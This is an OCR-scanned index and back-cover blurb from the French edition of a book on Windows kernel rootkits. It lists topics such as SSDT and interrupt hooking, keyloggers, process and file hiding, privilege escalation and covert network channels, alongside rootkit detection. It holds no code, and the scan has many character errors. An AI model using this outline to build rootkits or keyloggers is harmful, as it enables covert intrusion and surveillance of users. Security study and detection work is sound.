EX_FAST_REF (structure) 

211 

Exfiltration de donnees 12, 256 
Exploits 18 

debordement de tampon 22 
zero-day 23 


F 

Failles Voir Vulnerabilities 
logicielles 

FAR (instruction) 134 Fastlo 
(fonction) 171 Fichiers 

caches par des rootkits, 
detection 321 

d’echange/de pagination 70 
d’en-tete 38 d’un driver 40 


dissimulation 37 drivers de 
filtrage (de) 171 gestion de 
l’acces au niveau du noyau 35 
handles (de) 50 MAKEFILE 
42 SOURCES 40 
FILE_FULL_EA_INFORMA 
TION (structure) 266 
FindFirstFile (fonction) 88 
FindNextFile (fonction) 88 
FindProcessEPROC (fonction) 
199, 210 FindProcessToken 
(fonction) 21 1 

FindResource (fonction) 57 
Flags 

d’interruptions 84 de controle 
d’un IRP I 17 de deroutement 84 
de la MDL 102 de LED du clavier 
242 de peripherique 160 

Fonctions 

de callback 123, 284 detours 
93 hooking 91 majeures 48 
reroutage du flux de controle 
133 

trampolines 93 Frappe, 
interception 154 Free-build, kit 
DDK 40 Furtivite 13 

G 

GainExclusivity (fonction) 207 
GDT (Global Descriptor Table) 
Voir Tables systeme 
Gestionnaires 

d’objets 186 



Index 331 


de controle de services (SCM) 
54, 199 de peripheriques (WDM) 

201 GetListOfModules 

(fonction) 

313 

GetLocationOfProcessName 
(fonction) 199 
GetModuleFileNameEx 
(fonction) 319 
GetModulelnformation 
(fonction) 319 

GetProcAddress (fonction) 91, 
97 

GetVersionEx (fonction) 188 

GORINGZERO (instruction) 

252 

Guerre electronique 16 


H 

Hachage cryptographique 30 
Hal.dll 246 

HANDLE. TABLE (structure) 
323 

Handles de fichiers 

communication entre les 
modes utilisateur et noyau 50 
liens symboliques 51 HIDS 
(Hast Intrusion Detection System ) 
27 

HIPS (Host Intrusion Prevention 
System ) 28 HOOK_SYSCALL 
(macro) 

103 

HookDriveSet (fonction) 172 
HookedDeviceControl (fonction) 
116 HooklmportsOfTmage 
(fonction) 124 

Hooklnterrupts (fonction) 110 
HookKeyboard (fonction) 161 


Hooks 

allocation d’espace memoire 
127 

d’interruptions 80, 247 
d’unites de disque 172 de 
fonctions en ligne 91,316 de 
gestionnaires d’lRP 113,317 
de la fonction SwapContext 
321 

de la table IAT 90, 

317 IDT 108 SSDT 
99,314 de niveau noyau 
98 utilisateur 87 definis 
par Microsoft 94 
hybrides 123 

recherche pour la detection de 
rootkits 311 types 311 

I 

IAT (ImportAddress Table) Voir 

Table d’importation ICMP, 
dissimulation de 
communications (dans) 262 
Identifiants 

d’authentification de processus 
(AUTHJD) 224 de privileges de 
processus (LUID) 216 de 
processus (PID) 197 de securite 
(SID) 220 Idle (processus) 106 
IDT ( Interrupt Descriptor Table) 
Voir Tables systeme IDTENTRY 
(structure) 109 IDTINFO 
(structure) 109 IDTR (Interrupt 
Descriptor Table Register) 78 


IFS (Installable File System ) 

(kit) 183 

IMAGE DIRECTORY„ENT- 
RY_IMPORT (structure) 125 
I MA G El M I ’ O RIB YN A M E 
(structure) 90, 125 
IMAGE„IMPORT_DESCRIP - 
TOR (structure) 90, 125 
IMAGEJNFO (structure) 123 IN 
(instruction) 66 in addr 
(structure) 279 INCLUDES 
(variable) 41 Infection de 
cavernes 151 Inforensique Voir 
Analyse forensique 
InitThreadKeyLogger (fonction) 
162 InstallTCPDriverHook 
(fonction) 115 InstDrv (outil) 43 
INT 2E (instruction) 88, 100, 109, 
111 

INT 3 (instruction) 128 
Interception logicielle 16 
Interfaces reseau 

cles de registre 284 
liaison d’un socket 279 
MAC 283 

mode promiscuous 280 

InterlockedExchange 
(fonction) 115 
Interlockedlncrement 
(fonction) 146 
Interruptions 

controleur 79, 246 
desactivation 84 du 
clavier 246 flags (d’) 84 
masquables 82 portes 
(d’) 80 

table de descripteurs 67, 78, 

108 

Intrusions, detection et 
prevention 27 



332 Index 


IO_STACK_LOCATION 
(structure) 157 

IoAttachDevice (fonction) 161 
IoCallDriver (fonction) 157, 271 
IoCompletionRoutine (fonction) 

1 17, 120 

IoCopyCurrentlrpStackLoca- 
tionToNext (fonction) 165 
IoCreateDevice (fonction) 160 
IoCreateSymbolicLink 
(fonction) 51 IOCTL (I/O 
Control) 45 IOCTL_DRV_INIT 
192 IO CTL_DRV_VER 192 
IOCTL_ROOTKIT_SETPRIV 
217 

IOCTL_TCP_QUERY_INFOR- 
MATTON.EX 116 
IoDetachDevice (fonction) 169 
IoGetCurrentlrpStackLocation 
(fonction) 164 

loGetCurrentProcess (fonction) 
196 IoGetDeviceObjectPointer 
(fonction) 115 

IoGetNextlrpStackLocation 
(fonction) 164 
IoSkipCurrentlrpStack- 
Location (fonction) 158 IPD 
(outil) 28, 309 IRP (I/O Request 
Pocket ) 46 codes de controle 116 
communication avec un driver 
TDI 271 en attente 165 etat 165 

majeurs 113 mineurs 116 structure 
IO_STACK_LOCATION 

157 


tampons 

d’entree 1 17 
de sortie 119 

transmission entre des drivers 
chaines 155 types 113 

IRP_MJ_DEVICE_CONTROL 

115, 192 

IRPMJIMERNALDEVICE 
.CONTROL 192 ISR (Interrupt 
Service Routine) 

79 


J 

Jetons d’acces de processus 76 

ajout de SID 220 augmentation 
des privileges 209 
localisation 210 
modification 210 
structure 211 

JMP (instruction) 134, 312 JMP 
FAR (instruction) 134 
Journalisation des directives de 
debugging 44 


K 

KeCurrentProcessorNumber 
(fonction) 207 
KeGetActiveProcessors 
(fonction) 85 

KeGetCurrentlrql (fonction) 

206 

KeGetCurrentProcessor- 
Number (fonction) 85 
KelnitializeDpc (fonction) 207 
KelnsertQueueDpc (fonction) 

207 

KeN umberProcessors (fonction) 
207 KeRaiselrql (fonction) 206 


Kernel32.dll 88 
KeServiceDescriptorTable 
(table systeme) 99 
KeServiceDescriptorTable- 
Shadow (table systeme) 100 
KeSetTargetProcessorDPC 
(fonction) 85, 207 
KeSetTimerEx (fonction) 245 
KeStallExecutionProcessor 
(fonction) 236, 242 
KeWaitForSingleObject 
(fonction) 168, 170 
KEYBOARD.INPUT.DATA 
(structure) 166 

KiSystemService (dispatcheur) 

82, 

99 Kits 
DDK 40 
IFS 183 
SDK 
216 

KLOG (rootkit) 159 KPRCB 

(Kernel PRocessor Control Block) 
196 KTHREAD (structure) 197, 
322 

KUSER_SHARED_DATA (zone 
memoire) 128 

L 

Langages a typage fort 27 
Latching 235 

LDT ( Local Descriptor Table ) Voir 
Tables systeme Liaison 
(binding) 91 LIDS (outil) 28 
LIDT (instruction) 79 Liens 
symboliques 5 1 . 310 
LISTJENTRY (structure) 196, 
202, 323 Listage 

des DLL d'un processus 318 
des modules du noyau 312 



Index 333 


des ports avec Netstat.exe 322 
des processus avec Csrss.exe 323 

Liste chainee 

des modules charges dans un 
processus 319 des processus 198 

Liste de descripteurs de memoire 
(MDL) 101 LoadLibrary 
(fonction) 91, 96 LoadResource 
(fonction) 57 LookupPrivilege 
Value (fonction) 216 LUID 
( Locally Unique IDentifier) 216 
LUID„AND_ATTRIBUTES 
(structure) 216 

M 

MAKEFILE (fichier) 42 
Manipulation directe des objets 
du noyau 185 
MappedSystemCallTable 
(fonction) 102 

Mapping d’adresses virtuelles/ 
adresses physiques 35, 70 
Marqueurs (tombstone) 44 
Materiel 

acces 

au BIOS 238 au controleur 
de clavier 239 

aux dispositifs PCI et 
PCMCIA 239 direct 233 
adresses 234 anneau 0 64 
attaques 31 bus 

d’adressage 234 de 
donnees 234 de 
peripheriques 236 


du processeur 236 
PCI 237 

composants d’une carte mere 
237 

latching 235 pages 
memoire 67 ports 
234 

puce controleur d’E/S 236 
registres de controle 82 
synchronisation 236 systemes 
multiprocesseurs 84 tables 
de descripteurs 
d’interruptions 78 de 
descripteurs de memoire 77 
de distribution des services 
systeme 82 

MDL ( Memory Descriptor List) 

101 

Membres d’objets du noyau 

186 

Memoire 

allouee aux hooks dans le 
noyau 127 

controle d’acces au moyen 
d’anneaux 64 

desactivation de la protection 
dans le noyau 83 desactivation 
de la protection de la SSDT 
101 detection de rootkits 311 
du noyau 98 

gestion au niveau du noyau 35 
mapping d’adresses virtuel- 
les/adresses physiques 35 non 
paginee 53, 139 pages 67 
virtuelle 70 

Menu de commandes d’un 
rootkit 16 

METHOD_BUFFERED 
(fonction) 192 


METHOD.NEIIHER (fonction) 
117 Microcode 

definition 23 1 mise a jour 252 
modification 232 Migbot 
(rootkit) 53, 133 Mode noyau 
Voir Noyau Mode promiscuous 
280 Mode utilisateur anneau 3 64 
communication avec le mode 
noyau 45, 192 hooks 87 
Modeles de saut 143 
Modifications de code source 
20 

MODULE_ENTRY (structure) 
202 MODULEJNFO (structure) 

314,319 

Motifs des attaquants 12 MSR 
(Model-Specific Register) 112 

Mutation polymorphique 30 

N 

NDIS (Network Driver Interface 
Specification ) 

avantages et inconvenients 304 
declaration du protocole 283 
deplacement de paquets 292 
emulation d’hote 298 fonctions de 
callback du driver de protocole 
287 NDIS_BUFFER (structure) 
302 

NDIS.PACKET (structure) 

293 

NdisAllocateBufferPool 
(fonction) 292 



334 Index 


NdisAllocatePacketPool 
(fonction) 292 

NdisOpenAdapter (fonction) 

285 

NdisQueryBuffer (fonction) 

303 

NdisRegisterProtocol (fonction) 
285 NdisRequest (fonction) 287 
NdisSend (fonction) 301 
NdisTransferData (fonction) 293 

NdisTransportData (fonction) 

292 

NetBus (progrannne backdoor) 
13 Netstat (utilitaire) 114 
NewZwQuerySystemlnfor- 
mation (fonction) 106 NIDS 
(Network Intrusion Detection 
System) 28 NonPagedPool (zone 
memoire) 139 

NOP (instruction) 128 Noyau 

acces aux fichiers 35 
anneau 0 64 

communication avec le mode 
utilisateur 45, 192 gestion 
de la memoire 35 
des processus 34 hooks 
98 

injection de code via un 
driver 38 

listage des modules 312 
manipulation directe des objets 
185 memoire 98 
modifications sur disque 60 
niveau ultime de securite 35 
planification des processus 76 
principaux composants 34 


NtDeviceloControlFile (fonction) 
133 Ntdll.dll 94 
NtLoadDriver (fonction) 309 
NtOpenSection (fonction) 309 
Ntoskml.exe 99 

NtQueryDirectoryFile (fonction) 
88 

NtQuerySystemlnformation 
(fonction) 104 

NumberOfRaisedCPU (fonction) 
206 


o 

OBJ_KERNEL_HANDLE 265 
Objets du noyau 

changements selon la version 
du systeme 187 gestionnaire 
(d’) 186 manipulation directe 
185 membres 186 

Observateur d’evenements, 
dissimulation de processus 

224 

CEufs de Paques 19 Okena 
StormWatch (outil) 28 
OldlrpMjDeviceControl 
(fonction) 118 

OnCloseAdapterDone (fonction) 
287 OnOpenAdapterDone 
(fonction) 286 

OnReadCompletion (fonction) 

165 

OnReceiveStub (fonction) 287, 
292 

OnSendDone (fonction) 302 
OnSniffedPacket (fonction) 

296 

OnStubDispatch (fonction) 48 
OnTransferDataDone (fonction) 

293 


OnUnload (fonction) 149 
OpenProcess (fonction) 96 

OpenProcessToken (fonction) 

210 

OSVERSIONINFO (structure) 

188 

OSVERSIONINFOEX 
(structure) 188 
OSVERSIONINFOEXW 
(structure) 190 
OSVERSIONINFOW 
(structure) 190 OUT 
(instruction) 66 

P 

Page Directory Voir Repertoire 
de pages memoire Pages 
memoire 

cavernes 151 controles pour 
l’acces 68 pagination vers le 
disque 70 repertoires (de) 67, 
71 entrees (PDE) 73 multiples 
75 

Pagination memoire 70 Paquets 

deplacement 292 envoi avec 
des sockets bruts 281 
falsification de l’origine 281 
interception avec des sockets 
bruts 279 rebond 282 
Paquets de requetes d’E/S Voir 
IRP 

Pare-feu, contournement 29 
Passerelle IP 301 
PASSIVE_LEVEL (niveau 
d’lRQ) 162 Patching 19 a chaud 
92 de detour 132 



Index 335 


correction des adresses de 
substitution 139 modeles de 
saut 143 rappel des 
instructions ecrasees 137 
recherche des octets de la 
fonction 135 lors de 
l'execution 131 types 150 
PDE ( Page Directory Entry ) 73 PE 
(Portable Executable) (format de 
fichier) 56, 124 PEB (Process 
Environment Block) 319 
Peripheriques 

association a un driver 161 bus 
(de) 236 creation 160 
enregistrement 50 extension 161 
separation d’avec un driver 169 
PFN (Page Frame Number) 73 
PIC (Programmable Interrupt 
Controller) 79, 246 PID (Process 
IDentifier) 96, 

197 

Pile d’un IRP 164 Pilotes Voir 
Drivers Point d’extremite TDI 
268 Pointeur 

de pile, IRP 164 de fonctions 
majeures 48 Portes 

d'appels 78 d’ interruptions 80 
de deroutements 81 de taches 81 
derobees furtivite 13 
inconvenients 257 utilite 12 
Ports 

du clavier 241 


materiels 235 reseau, 
dissimulation 114 Preambules de 
fonctions 92 Prevention 
d’intrusion 27 Privileges de 
processus ajout a un jeton 213 
DPL et CPL 68 identifiants 
(LUID) 216 Process Explorer 
(outil) 214 Processeurs 

anneaux de controle d’acces 64 
bus 236 

IDT individuelle 108 mode 
protege 79 multiples 79, 84 
registres de controle 82 
temporisation 236 Processus 
acces a la memoire 67 bloc 
d’environnement (PEB) 319 
caches par des rootkits, 
detection 321 

contexte actif 76 dissimulation 
37, 104, 196 espace d’adressage 
individuel 75 et threads 76 

gestion au niveau du noyau 34 
identifiants 

AUTHJD 224 
LUID 216 PID 96, 

197 Idle 106 

injection d'une DLL 93 jeton 
d’acces 76 ajout de SID 220 
augmentation des privileges 209 
localisation 210 
modification 210 
structure 211 


listage 

avec Csrss.exe 323 des 
DLL 318 liste chainee 198 
modification d’ identifiants 224 
noms 199 

penetration de l’espace 
d’adressage 123 planification 76, 
201 vj- taches 82 

PsGetCurrentProcess (fonction) 
111, 196 PsGetVersion (fonction) 
190 PsLoadedModuleResource 
(fonction) 205 
PspActiveProcessMutex 
(fonction) 205 

PspExitProcess (fonction) 201 
PsSetlmageLoadNotifyRou- tine 
(fonction) 123 Puce controleur 
d'L/S 236 PUSH (instruction) 

134 

R 

RaiseCPUIrqlAndWait 
(fonction) 207 

Raw sockets Voir Sockets bruts 
ReadFile (fonction) 48 Rebond 
de paquets 282 recvfrom 
(fonction) 279 Regedt32.exe 225 
Registre de table de descripteurs 
d’interruptions (IDTR) 78 
Registre Windows Voir Cles de 
registre 

Registres de controle 83 
RegOpenKeyEx (fonction) 321 
RegQueryValue (fonction) 191 

RegQueryValueEx (fonction) 

191,321 



336 Index 


ReleaseExclusivity (fonction) 

209 

Repertoire de pages memoire 

67,71 

Requetes d’E/S Voir IRP Reseau 
contournement des systemes 
de securite 28 dissimulation 
de communications dans 
TCP/IP 258 de ports 1 14 des 
operations (de) 37 manipulation du 
trafic 277 mode promiscuous 280 
Restriction de portee 23 Root, 
acces (de niveau) 14 
RootkitDispatch (fonction) 193 
RootkitRevealer (outil ) 321 
Rootkits 14 

ce qu’ils ne sont pas 21 
combines a des virus 23 
communication entre les 
modes utilisateur et noyau 45, 
192 conception 36 de premiere 
generation 18 de prochaine 
generation 31 detection 308 
dissimulation de code et de 
donnees 14 

emplois legitimes 14, 17 
enregistrement en tant que 
drivers 59 et threads 77 
fonctionnement 19furtivite 15 
historique 18 

installation dans le microcode 
31 

integrant des exploits 22 
KLOG 159 

lancement automatique au 
demarrage 37, 59 


menu de commandes 16 
methodes de chargement 52 
Migbot 133 

structure de repertoires 36 un 
seul par systeme 36 utilite 15 Voir 
aussi Drivers vs virus 23 Routines 
de dechargement 39, 43, 169, 
291 

de dispatching 178 de service 
d’interruption (ISR) 79 

de terminaison 117, 119, 165 

RtlGetVersion (fonction) 190 
Run (cle de registre) 59 RVA 
(Relative Virtual Address) 124 


S 


Scancodes 156 

conversion en codes de 
touches 168 

placement dans des IRP 162 
Scanners de virus 29 SCM 
( Service Control Manager) 

54, 199 

SDK ( Software Development Kit ) 
216 

SeAccessCheck (fonction) 133 
Section critique 166 Securite 

anneaux de controle d’acces 
64 

au niveau du noyau 35 
contournement des systemes (de) 
27 

jeton d’acces d’un processus 
76 

Segments 

de code 78 


de commutation de taches 82 

Semaphore 163 
SendKeyboardCommand 
(fonction) 243 SendRaw 
(fonction) 300 sendto (fonction) 
281 SetLEDS (fonction) 244 
SetPriv (fonction) 215 
SetWindowsHookEx (fonction) 
95 Shell distant 256 SID ( Security 
IDentifier) ajout a un jeton de 
processus 220 
restreints 221 

SID AND_ATTRIBUTES 
(structure) 220 SIDT 
(instruction) 79, 109 
Signatures 

de rootkits 311 recherche 
en memoire 202 sur le 
disque 30 SizeOfResource 
(fonction) 57 Sniffeur de clavier 
154, 246 SOCKJRAW 
(constante) 278 sockaddr 
(structure) 279 Socket (fonction) 
278 Sockets bruts 

envoi de paquets 281 
interception de paquets 279 liaison 
a une interface 279 ouverture 278 
SOURCES (fichier) 40 Sous- 
systemes Windows 87 Spinlock 
(verrou) 163, 301 Spywares 20 
SSDT ( System Service Dispatch 
Table) Voir Tables systeme 
SSPT ( System Service Paratneter 
Table) Voir Tables systeme 



Index 337 


STATUS BYTE (constante) 

241 

Steganographie 30, 259 STI 
(instruction) 66 Structure de 
contexte, TDI 268 Structure de 
repertoires d’un rootkit 36 
Structures du noyau Voir Objets 
du noyau SwapContext 
(fonction) 321 Synchronisation 
au niveau materiel 236 
problemes 84 

SYSCALL.INDEX (macro) 

103 

SYSENTER (instruction) 82, 88, 
100, 109, 112 
SYSTEM_PROCESSES 
(structure) 104 
SYSTEM_THREADS 
(structure) 104 Systemes 

de detection d’intrusion (IDS) 

27 

de prevention d'intrusion (IPS) 

28 

Systemes d’exploitation 33 

determination de la version a 
partir du Registre 190 depuis le 
mode noyau 190 utilisateur 
188 

Systemes multiprocesseurs 84 
SYSTEMSERVICE (macro) 

103 

T 

TA_IP_ADDRESS (structure) 

267 

TA_TRANSPORT_ADDRESS 
(structure) 266 


Table d’importation (IAT) 88 

detection de hooks 317 

hooking 90 

Table de gestion des IRP d’un 
driver 113 Tables systeme 

acces en lecture seule 74 de 
descripteurs d' interruptions (IDT) 
67, 78 creation 79 entrees 109 
hooking 108, 144 placement en 
lecture/ecri- ture 74 

systemes multiprocesseurs 
84 

de distribution des services 
systeme (SSDT) 67, 82 
desactivation de la protection 
memoire 101 detection de hooks 
314 hooking 99 

placement en lecture/ecri- 
ture 74 

de parametres des services 
systeme (SSPT) 99 globale de 
descripteurs (GDT) 67, 77 

KeServiceDescriptorTable 99 
KeServiceDescriptorTable- 
Shadow 100 

locales de descripteurs (LDT) 
67,77 

repertoire de pages memoire 
67,71 Taches 

portes (de) 81 
vs processus 82 

Tampons 

d’lRP 117, 119 debordement 
18, 22, 26 TARGETLIBS 
(variable) 41 TARGETNAME 
(variable) 41 TARGETPATH 
(variable) 41 


TARGETTYPE (variable) 41 
TCP/IP 

dissimulation de 
communications (dans) 258 au 
moyen de NDIS 283 au moyen de 
TDI 262 Tcpip.sys 114 
TDI (Transport Data Interface) 
association d’un point 
d’extremite a une adresse 
locale 27 1 

attributs etendus (EA) 264 
avantages et inconvenients 304- 
communication avec le driver 
TDI via des IRP 271 connexion a 
un serveur distant 273 

envoi de donnees a un serveur 
distant 275 

objet adresse locale 265 
point d’extremite 268 
structure 

d’ adresse 263 
de contexte 268 
TDI.ADDRESS.IP 
(structure) 266 
TDITRANSPORTADDRESS 
(structure) 266 

TDI TRANSPORT.ADDRESS 
.LENGTH (structure) 266 
TDIObjectID (structure) 1 16 
Temporisateurs 

pour la modification des LED 
du clavier 241 pour le traitement 
des IRP 169 

ThreadKeyLogger (fonction) 
162 

Threads 

distants 96 et processus 76 

TimerDPC (fonction) 241 



338 Index 


Traduction d’adresses Voir 
Mapping d’adresses 
Trampolines, fonctions 93 
Traps Voir Deroutements 
Tripwire (outil) 19, 30 TSS 
(Task Switch Segment ) 82 Typage 
fort 27 

u 

UNHOOK_SYSCALL (macro) 
103 Unload (fonction) 169 
User32.dll 94 

v 

Verrous spinlock 301 


VirtualAllocEx (fonction) 97 
Virus 23 

Vulnerabilities logicielles 

correction 24 dissimulees 
sous forme de bugs 20 
exploitation 24 


w 

WaitForKey board (fonction) 
242 

WatchGuard ServerLock 
(outil) 28 

WDM (Windows Device 
Manager ) 201 Win32k.sys 100 
WriteFile (fonction) 48 


WriteProcessMemory (fonction) 
97 WSAIoctl (fonction) 280 
WSAStartup (fonction) 278 

Z 

Zero-day (exploit) 23 
ZwCreateFile (fonction) 264, 

268 

ZwCreateKey (fonction) 310 
ZwOpenKey (fonction) 310 
ZwQuerySystemlnformation 
(fonction) 104, 196, 312 
ZwSetSystemlnformation 
(fonction) 309 

ZwSetValueKey (fonction) 310 
ZwWriteFile (fonction) 169 



a 

LJ> 



CampusPress 


PEARSON 



Infiltrations 

IVWW I lm.1 1 9 du noyau Windows 


Les rootkits sont les outils d'implementation de portes derobees 
par excellence qui permettent aux attaquants de disposer d'un 
acces permanent quasiment indetectable aux systemes touches. 
Deux des experts mondiaux en la matiere nous livrent aujourd'hui 
le premier guide detaille permettant de comprendre les principes 
et les mecanismes fondamentaux des rootkits, mais aussi de les 
concevoir et de les detecter. 

Greg Hoglund et James Butler de Rootkit.com sont les auteurs 
de I'illustre cours sur les rootkits enseigne a la conference Black 
Hat. Dans cet ouvrage, ils levent le voile sur les aspects offensifs 
d'une technologie permettant a un attaquant de penetrer dans 
un systeme et de s'y installer pour une duree indeterminee sans 
etre detecte. 

Hoglund et Butler montrent exactement comment parvenir a une 
compromission des noyaux de Windows XP et Windows 2000 
sur la base de concepts applicables a n'importe quel systeme 
d'exploitation actuel, de Windows Server 2003 a Linux et UNIX. 
A I'aide de nombreux exemples telechargeables, ils decrivent les 
techniques de programmation de rootkit qui sont utilisables pour 
une variete d'applications, depuis les outils de protection aux 
drivers et debuggers de systeme d'exploitation. 

A I'issue de ce livre, vous serez en mesure de : 

• Comprendre le role d'un rootkit dans le controle a distance et 
I'interception logicielle. 

• Concevoir un rootkit de noyau capable de dissimuler des 
processus, des fichiers et des repertoires. 

• Maitriser des techniques de programmation de rootkit 
fondamentales, telles que le hooking, le patching a I'execution 
ou encore la manipulation directe des objets d'un noyau. 

• ChaTner des drivers pour implementer un intercepteur de 
frappe ou un filtre de fichiers. 

• Detecter un rootkit et developper des logiciels de prevention 
d'intrusion capables de resister a une attaque par rootkit. 
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